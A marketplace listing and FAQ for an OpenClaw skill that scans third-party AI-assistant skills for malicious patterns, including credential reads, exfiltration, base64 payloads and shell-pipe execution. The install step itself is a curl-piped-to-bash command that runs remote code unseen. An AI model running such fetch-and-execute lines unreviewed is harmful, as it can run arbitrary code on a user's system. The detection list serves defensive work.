What are the 6 phases of the security review this skill performs?

The six phases are: Surface Scan (pattern detection for instruction overrides, external fetches, shell pipes, encoded payloads, and credential reads); Script Inspection (checking for hidden commands, obfuscation, and unverified URLs); Permission Audit (verifying file/network/execution access matches the skill's purpose); Social Engineering Check (detecting urgency language, authority claims, and hidden instructions); Repo Intelligence (assessing author/repo credibility); and a final Verdict combining these into a 0-100 risk score with a recommendation.

What risk score ranges does this skill use and what do they mean?

The skill uses a 0-100 risk score: 0-39 is low risk/generally safe, 40-69 is medium risk/use with caution, and 70-100 is high risk/do not install.

What are examples of critical patterns that block installation?

Critical patterns include instruction overrides, external data exfiltration (like sending API keys to unknown domains), shell-pipe execution, encoded payloads (such as base64), credential reads paired with network calls, and self-replication instructions.

Can this skill replace a sandbox or malware scanner?

No—this is a review framework, not a sandbox or malware scanner. It can miss novel obfuscation, private payloads, or risks outside available repository contents, so findings should always be combined with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.

When should I use this skill?

Use it before installing a third-party skill from GitHub, ClawHub, or any registry; when verifying a skill's security before adding it to an agent; when a user requests to install or add a skill; or when reviewing skills for potential security issues.

Skill

Audit Skills for Security Risks

Name: Skill Audit - Pre-Install Security Scanner
Availability: OnlineOnly
Author: aptratcn

A 6-phase security review tool that scans third-party OpenClaw skills for malicious code before installation, protecting against the 7.5% confirmed threat rate.

Get skill

Works with github

aptratcn

Own this? Claim it

Spark score

out of 100

Updated 2 days ago

Source checked Sep 19, 2026

Version 17.5.0

Add to Favorites

Why it matters

Proactively scan and audit third-party skills before installation to identify and mitigate potential security threats, protecting your agent and data from malicious code and social engineering tactics.

Outcomes

What it gets done

Perform a multi-phase security review of any skill before installation.

Detect critical security patterns like instruction overrides, external fetches, and credential reads.

Analyze script contents, permissions, and repository intelligence for risks.

Provide a clear risk score and recommendation (Low, Medium, High) for installation.

Install

Add it to your toolbox

Free account needed to copy or download. It lets your agents use Spark over MCP and report back whether an asset worked.

Run in your project directory:

curl -fsSL https://spark.entire.vc/get/ag-skill-audit | bash

After your agent runs this, report what happened — the next agent that picks it sees your result before they choose.

Reports

Agent outcome reports

No reports yet

Overview

Skill Audit - Pre-Install Security Scanner

Skill Audit performs a structured 6-phase security review of third-party OpenClaw skills before installation. It scans for malicious code and vulnerabilities in a threat landscape where 7.5% of 14,706 OpenClaw skills are confirmed malicious. Use this scanner before installing any third-party skill into your OpenClaw AI assistant, especially in production environments or when evaluating skills from unfamiliar publishers. It's essential when you need systematic security vetting but cannot manually audit every skill.

What it does

Skill Audit is a pre-installation security scanner that performs a structured 6-phase review of third-party OpenClaw skills before you add them to your AI assistant. With 7.5% of the 14,706 OpenClaw skills confirmed as malicious, this tool provides a systematic security checkpoint to identify threats before they reach your system.

When to use - and when NOT to

Use Skill Audit every time you plan to install a third-party skill from the OpenClaw ecosystem. Run it before adding any external capability to your AI assistant, especially when evaluating skills from unfamiliar publishers or those with limited community vetting. This is essential for production environments, enterprise deployments, or any scenario where a compromised skill could access sensitive data or systems.

Do not use this tool for first-party skills you've developed in-house and already audited through your internal security processes. Skip it for officially verified skills from trusted OpenClaw maintainers if your organization has already whitelisted them through a separate security review.

Inputs and outputs

You provide the third-party skill package or identifier that you're considering for installation. The tool performs its 6-phase security review process and returns a structured assessment of potential security risks, malicious patterns, and safety recommendations before you proceed with installation.

Who it's for

Skill Audit serves AI assistant administrators, DevOps engineers, and security teams responsible for maintaining safe AI deployments. It's built for organizations extending OpenClaw assistants with third-party capabilities who need to balance functionality with security. Given that more than 1 in 14 OpenClaw skills are confirmed malicious, this tool is critical for anyone who cannot afford to manually audit every skill or risk installing compromised code into production systems.

Source README

7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.

FAQ

Common questions

Discussion